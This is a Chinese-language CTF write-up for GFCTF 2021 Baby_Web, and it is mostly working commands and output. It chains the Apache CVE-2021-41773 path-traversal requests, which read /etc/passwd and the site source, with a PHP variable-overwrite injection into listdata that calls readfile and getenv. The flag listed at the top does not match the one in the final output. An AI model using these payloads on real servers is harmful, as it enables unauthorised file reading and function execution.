Writeup 4 GFCTF 2021 Baby_Web
面向小白的详细讲解,从"为什么会有这个漏洞"到"每一步命令在干什么"都尽量说清楚。
一、题目信息
- 题目名 :
[GFCTF 2021]Baby_Web - 类型:Web / PHP 代码审计 / 变量覆盖 / 路径穿越
- 靶机 :
http://node4.anna.nssnode.cn:24195/ - 最终 flag :
NSSCTF{56aff7f2-3d06-4482-96a7-db53d60ed909}
二、先看首页:两个关键提示
访问首页,返回:
html
<h1>Welcome To GFCTF 12th!!</h1>
<!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->
这里有两个信息:
- 源码在"上层目录"的
xxx.php.txt里 。网站根目录通常是/var/www/html,那"上层目录"就是/var/www/。 - "但你怎么才能看到它呢?" 暗示正常访问
/var/www/是访问不到的,需要某种"穿越"手段。
这就引出了第一个漏洞:Apache CVE-2021-41773 路径穿越。
三、漏洞一:CVE-2021-41773 路径穿越
3.1 这个漏洞是什么?
Apache HTTP Server 2.4.49 版本在处理 URL 路径时,有一个"归一化"的缺陷。
正常情况:Apache 会把 URL 里的 ../ 清理掉,防止你跳出网站根目录。比如你请求:
http://site/../../etc/passwd
Apache 会把它规范化成 /etc/passwd 相对于网站根目录的路径,或者直接拒绝,不会让你真的读到系统文件。
但 2.4.49 版本里,如果你把 .. 编码 成 .%2e(%2e 是 . 的 URL 编码),Apache 的归一化逻辑就认不出来了,会把它当成普通字符放行。等到真正去文件系统找文件时,%2e 被解码成 .,于是 .%2e 变成了 ..,成功穿越。
一句话 :Apache 检查路径时看到的是 .%2e(以为不是 ..),但实际读文件时它变成了 ..,于是跳出了限制目录。
3.2 为什么要有 /cgi-bin/?
这个漏洞的利用有一个前提:服务器开启了 mod_cgi,并且 /cgi-bin/ 目录被配置为可执行 CGI 脚本。因为路径穿越的触发点在 CGI 路径处理逻辑里。题目环境正好开了 /cgi-bin,所以可以直接打。
3.3 读 /etc/passwd 验证
先验证穿越是否成立:
bash
root@Rambo:/GFCTF_2021_Baby_Web# curl --path-as-is "http://node4.anna.nssnode.cn:20495/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
运行结果:
bash
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
root@Rambo:/GFCTF_2021_Baby_Web#
命令解释:
--path-as-is:让 curl 不要 自动规范化 URL。curl 默认会把.%2e这类东西"修正"掉,导致请求发出去时已经不是我们想要的了。加上这个参数,curl 会原样发送。.%2e就是..的编码形式,/.%2e/等价于/../。- 四个
.%2e表示向上跳四层:从/cgi-bin/出发,../到/,再../还是/(根目录再往上还是根),所以四层足够到根目录。 - 最终路径等价于
/etc/passwd。
返回 root:x:0:0:...,说明穿越成功,可以读系统文件。
3.4 读源码
首页提示源码在"上层目录" /var/www/ 里,文件名是 xxx.php.txt。结合常见命名,试 index.php.txt 和 Class.php.txt:
访问 index.php.txt:
bash
root@Rambo:/GFCTF_2021_Baby_Web# curl --path-as-is "http://node4.anna.nssnode.cn:20495/cgi-bin/.%2e/.%2e/.%2e/.%2e/var/www/index.php.txt"
运行结果:
php+HTML
<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
<!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->
root@Rambo:/GFCTF_2021_Baby_Web#
访问 Class.php.txt:
bash
root@Rambo:/GFCTF_2021_Baby_Web# curl --path-as-is "http://node4.anna.nssnode.cn:20495/cgi-bin/.%2e/.%2e/.%2e/.%2e/var/www/Class.php.txt"
运行结果:
bash
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
root@Rambo:/GFCTF_2021_Baby_Web#
路径解释:
从 /cgi-bin/ 出发,四个 .%2e 跳到 /,然后访问 var/www/index.php.txt,得到 /var/www/index.php.txt 的源码。Class.php.txt 同理。
这两条命令成功读到了源码,进入代码审计阶段。
四、源码审计:变量覆盖是怎么形成的
4.1 index.php 源码
php
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
逐行解释:
error_reporting(0):关闭错误显示,防止报错泄露信息。define("main","main"):定义常量main,Class.php里会检查这个常量,防止直接访问Class.php。include "Class.php":引入类文件。$temp = new Temp($_POST):把整个$_POST数组传给Temp类的构造函数。这是变量覆盖的源头。$temp->display($_GET['filename']):调用display方法,参数来自 GET 的filename。
4.2 Class.php 关键代码
php
Class Temp{
private $date=['version'=>'1.0','img'=>'...'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date, $data);
}
public function getTempName($template, $dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
} else {
$this->template = './template/index.html';
}
}
public function display($template, $space=''){
extract($this->date);
$this->getTempName($template, $space);
include($this->template);
}
public function listdata($_params){
// ... 后面详细讲
}
}
4.3 第一步覆盖:array_merge 把 POST 数据合进 $this->date
构造函数:
php
public function __construct($data){
$this->date = array_merge($this->date, $data);
}
$data 是 $_POST,也就是你 POST 上来的所有键值对。array_merge 会把 $_POST 的顶层键 合并进 $this->date。
举例:如果 POST:
space=admin&template=index.html&mod=xxx
那么 $_POST 是:
php
['space'=>'admin', 'template'=>'index.html', 'mod'=>'xxx']
array_merge 后 $this->date 变成:
php
[
'version'=>'1.0',
'img'=>'...',
'space'=>'admin',
'template'=>'index.html',
'mod'=>'xxx'
]
关键点 :POST 的键会原样成为 $this->date 的键。
4.4 第二步覆盖:extract 把数组解构成变量
display 方法:
php
public function display($template, $space=''){
extract($this->date); // ← 这里
$this->getTempName($template, $space);
include($this->template);
}
extract($array) 是 PHP 的一个函数,作用是把数组里的键值对变成变量。例如:
php
$arr = ['space'=>'admin', 'template'=>'index.html'];
extract($arr);
// 等价于:
// $space = 'admin';
// $template = 'index.html';
extract 默认行为是 EXTR_OVERWRITE,即如果变量已存在,会覆盖它。
而 display($template, $space='') 的两个参数 $template 和 $space 在函数调用时已经被赋值了:
$template=$_GET['filename'](我们传filename=test,所以是'test')$space=''(默认值)
但 extract($this->date) 执行后,如果 $this->date 里有 template 和 space 键,就会覆盖这两个局部变量。
所以我们 POST space=admin 和 template=index.html,extract 后:
$space从''变成'admin'$template从'test'变成'index.html'
这就是变量覆盖 。$_GET['filename'] 传什么都不重要了,因为会被 POST 的 template 覆盖。
4.5 进入 admin 分支
getTempName($template, $space) 被调用:
php
if($dir === 'admin'){ // $dir 就是 $space,现在是 'admin'
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
因为 $space === 'admin',进入 if 分支:
$template是'index.html'- 拼接:
'./template/admin/' . 'index.html'='./template/admin/index.html' str_replace('..','',...):这个函数会删除所有..。但index.html里没有..,所以路径不变。is_file('./template/admin/index.html'):检查这个文件是否存在。存在则通过。
注意 :这里 str_replace('..','',...) 是一个"防护",试图阻止路径穿越。但它只删除 ..,而且删除方式有讲究(后面会讲为什么 ....// 绕过失败)。
4.6 include 执行模板
php
include($this->template);
$this->template 是 ./template/admin/index.html,include 会把这个文件的内容包含进来并作为 PHP 执行。
虽然文件扩展名是 .html,但 include 不关心扩展名,只要文件里有 <?php ?> 标签,PHP 就会解析执行。这就是为什么模板文件能调用 $this->listdata(...)。
五、模板文件与 listdata 的触发
5.1 admin 模板内容
访问 /template/admin/ 直接返回了模板源码(因为 Apache 没有把 .html 当 PHP 解析,直接当静态文件返回了):
bash
root@Rambo:/GFCTF_2021_Baby_Web# curl --path-as-is "http://node4.anna.nssnode.cn:20495/template/admin/"
运行结果:
php+HTML
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>后台</title>
</head>
<body>
<!--<img src="<?php echo $img;?>">-->
<div><?php echo $this->listdata("action=list module=$mod");?><div>
<h6>version: <?php echo $version;?></h6>
</body>
</html>
root@Rambo:/GFCTF_2021_Baby_Web#
关键行:
php
<?php echo $this->listdata("action=list module=$mod");?>
$this->listdata(...)调用Temp类的listdata方法。- 参数是一个字符串
"action=list module=$mod"。 $mod是从哪来的?display里extract($this->date)之后,$mod就是$this->date['mod'],也就是我们 POST 的mod参数。
所以 $mod 完全可控 ,它会被拼进 listdata 的参数串里。
5.2 listdata 方法详解
php
public function listdata($_params){
$system = [
'db'=>'', 'app'=>'', 'num'=>'', 'sum'=>'', 'form'=>'', 'page'=>'',
'site'=>'', 'flag'=>'', 'not_flag'=>'', 'show_flag'=>'', 'more'=>'',
'catid'=>'', 'field'=>'', 'order'=>'', 'space'=>'', 'table'=>'',
'table_site'=>'', 'total'=>'', 'join'=>'', 'on'=>'', 'action'=>'',
'return'=>'', 'sbpage'=>'', 'module'=>'', 'urlrule'=>'', 'pagesize'=>'',
'pagefile'=>'',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params); // 按空格切分
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '=')); // 等号左边
$val = substr($t, strpos($t, '=') + 1); // 等号右边
if (!$var) continue;
if (isset($system[$var])) {
$system[$var] = $val; // 已知键 → 写进 $system
} else {
$param[$var] = $val; // 未知键 → 写进 $param
}
}
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) return 'hacker!!';
elseif (!function_exists($param['name'])) return 'hacker!!';
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
} else {
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
逐段解释:
(1)按空格切分参数
php
$params = explode(' ', $_params);
listdata("action=list module=$mod"),如果 $mod 是 x action=function name=readfile param0=/etc/passwd,那么完整字符串是:
action=list module=x action=function name=readfile param0=/etc/passwd
explode(' ') 后得到:
['action=list', 'module=x', 'action=function', 'name=readfile', 'param0=/etc/passwd']
(2)解析每个 key=value
对每个 token,用 strpos($t, '=') 找到等号位置,左边是 $var,右边是 $val。
action=list→$system['action']='list'module=x→$system['module']='x'action=function→$system['action']='function'(覆盖了前面的list!)name=readfile→$param['name']='readfile'param0=/etc/passwd→$param['param0']='/etc/passwd'
关键 :action 出现两次,后一个覆盖前一个。模板里硬编码的是 action=list,但我们在 $mod 里注入 action=function,就把 $system['action'] 改成了 function,从而进入 case 'function' 分支。
(3)case 'function' 执行任意函数
php
if (!isset($param['name'])) return 'hacker!!';
elseif (!function_exists($param['name'])) return 'hacker!!';
$param['name']必须是存在的函数名。function_exists('system')会检查函数是否存在且未被禁用 。如果system在disable_functions里,function_exists返回 false,直接返回hacker!!。这就是为什么不能直接用system。readfile、getenv、scandir等读取类函数通常没被禁用,可以用。
(4)收集参数并调用
php
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}
$force不传就是null,!$force为真,进入执行分支。- 遍历
$param,把键名以param开头的收集到$p数组,substr($var, 5)取param后面的数字作为索引。param0→$p[0],param1→$p[1]。 call_user_func_array('readfile', ['/etc/passwd'])等价于readfile('/etc/passwd'),读出文件内容并输出。
(5)case 'list' 只是返回 JSON
如果 action 还是 list,就 json_encode($this->date),只是回显数据,不能执行命令。所以必须注入 action=function 覆盖它。
六、完整攻击链路
把上面所有步骤串起来:
6.1 链路总览
① CVE-2021-41773 读源码
→ 拿到 index.php 和 Class.php
→ 审计出变量覆盖 + listdata 任意函数调用
② POST space=admin
→ $_POST 合并进 $this->date
→ extract 覆盖 display 的 $space 参数
→ getTempName 进入 admin 分支
③ POST template=index.html
→ 覆盖 display 的 $template 参数
→ 构造 ./template/admin/index.html
→ is_file 通过,include 执行模板
④ 模板执行 $this->listdata("action=list module=$mod")
→ $mod 来自 POST,可控
⑤ POST mod=x action=function name=readfile param0=/etc/passwd
→ listdata 按空格切分
→ action=function 覆盖 action=list
→ name=readfile 指定函数
→ param0=/etc/passwd 作为参数
→ call_user_func_array('readfile', ['/etc/passwd'])
→ 读出文件内容
⑥ 把 param0 换成 FLAG 环境变量
→ name=getenv param0=FLAG
→ getenv('FLAG') 读出 flag
6.2 为什么 ....// 穿越失败(补充说明)
一开始我们尝试用 ....// 绕过 str_replace('..','',...),但失败了。原因是 str_replace 是全局替换 ,会删除字符串中所有 ..。
....// 中包含两个 ..(.... 可以拆成 .. + ..)。str_replace 先删第一个 ..,剩下 ../,其中又包含 ..,继续删,最终变成 /。所以 ....// 经过 str_replace 后完全失去穿越能力,变成 /,路径就不对了。
这也是为什么最终没有走"包含任意文件"的路,而是走"包含固定模板 + 变量覆盖触发 listdata"的路。template=index.html 里没有 ..,str_replace 不改变它,is_file 能通过。
6.3 为什么不能用 system
listdata 里:
php
elseif (!function_exists($param['name'])) return 'hacker!!';
function_exists 检查函数是否存在且可用。如果 system 被写在 php.ini 的 disable_functions 里,function_exists('system') 返回 false,直接返回 hacker!!。所以必须用没被禁用的函数,比如:
readfile:读文件并输出getenv:读环境变量scandir:列目录file_get_contents:读文件(返回字符串,需要 echo,但listdata直接return $rt,模板里echo $this->listdata(...),所以也能输出)
七、最终命令与结果
7.1 验证任意函数调用
bash
curl -X POST "http://node4.anna.nssnode.cn:24195/" \
--data-urlencode "space=admin" \
--data-urlencode "template=index.html" \
--data-urlencode "mod=x action=function name=readfile param0=/etc/passwd"
返回中看到 root:x:0:0:...,说明链通了。
7.2 读 flag
bash
root@Rambo:/GFCTF_2021_Baby_Web# curl -X POST "http://node4.anna.nssnode.cn:20495/" \
> --data-urlencode "space=admin" \
> --data-urlencode "template=index.html" \
> --data-urlencode "mod=x action=function name=getenv param0=FLAG"
返回:
bash
<h1>Welcome To GFCTF 12th!!</h1>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>后台</title>
</head>
<body>
<!--<img src="https://www.apache.org/img/asf-estd-1999-logo.jpg">-->
<div>NSSCTF{861ce0dd-2a29-4a1d-aa91-f53cf05aabdd}<div>
<h6>version: 1.0</h6>
</body>
</html><!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->
root@Rambo:/GFCTF_2021_Baby_Web#
7.3 命令参数解释
-X POST:发送 POST 请求。--data-urlencode "key=value":把key=value做 URL 编码后作为 POST body。因为mod的值里有空格和特殊字符,必须编码,否则会被截断或解析错误。space=admin:覆盖$space,进入 admin 分支。template=index.html:覆盖$template,让is_file('./template/admin/index.html')通过。mod=x action=function name=getenv param0=FLAG:注入到listdata的参数串,覆盖action为function,指定函数getenv,参数FLAG。
八、知识点总结
| 知识点 | 说明 |
|---|---|
| CVE-2021-41773 | Apache 2.4.49 路径穿越,.%2e 绕过归一化,可读系统文件 |
--path-as-is |
curl 不规范化 URL,原样发送 .%2e |
array_merge 变量覆盖 |
$_POST 顶层键合并进 $this->date |
extract 变量覆盖 |
数组键值对变成变量,默认覆盖已存在的变量 |
str_replace('..','') 的缺陷 |
全局替换,....// 会被删成 /,无法穿越 |
include 执行非 .php 文件 |
.html 里的 <?php ?> 仍会被解析 |
call_user_func_array |
动态调用函数,参数数组可控 |
function_exists + disable_functions |
被禁用函数返回 false,需换用未禁用函数 |
getenv 读环境变量 |
CTF 容器常把 flag 放在环境变量里 |
九、小白容易踩的坑
date[template]vstemplate:__construct收到的是整个$_POST,所以 POST 的顶层键 才会被合并。写成date[template]会变成$this->date['date']数组,extract后得到$date而不是$template,覆盖失败。template=index.phpvsindex.html:getTempName构造的是./template/admin/+ 文件名,必须和真实文件名一致,否则is_file失败返回no!!。system被禁用 :不要一上来就用system,先用readfile或getenv测试。$IFS的问题 :如果非要用命令执行函数,空格会被explode(' ')切分,需要用$IFS代替空格。但这题system被禁,用不上。str_replace('..','')的全局性 :....//不是万能绕过,要看替换函数是不是全局的。这题是全局替换,....//会变成/。
Rambo
2026年11月8日
🎉🎉🎉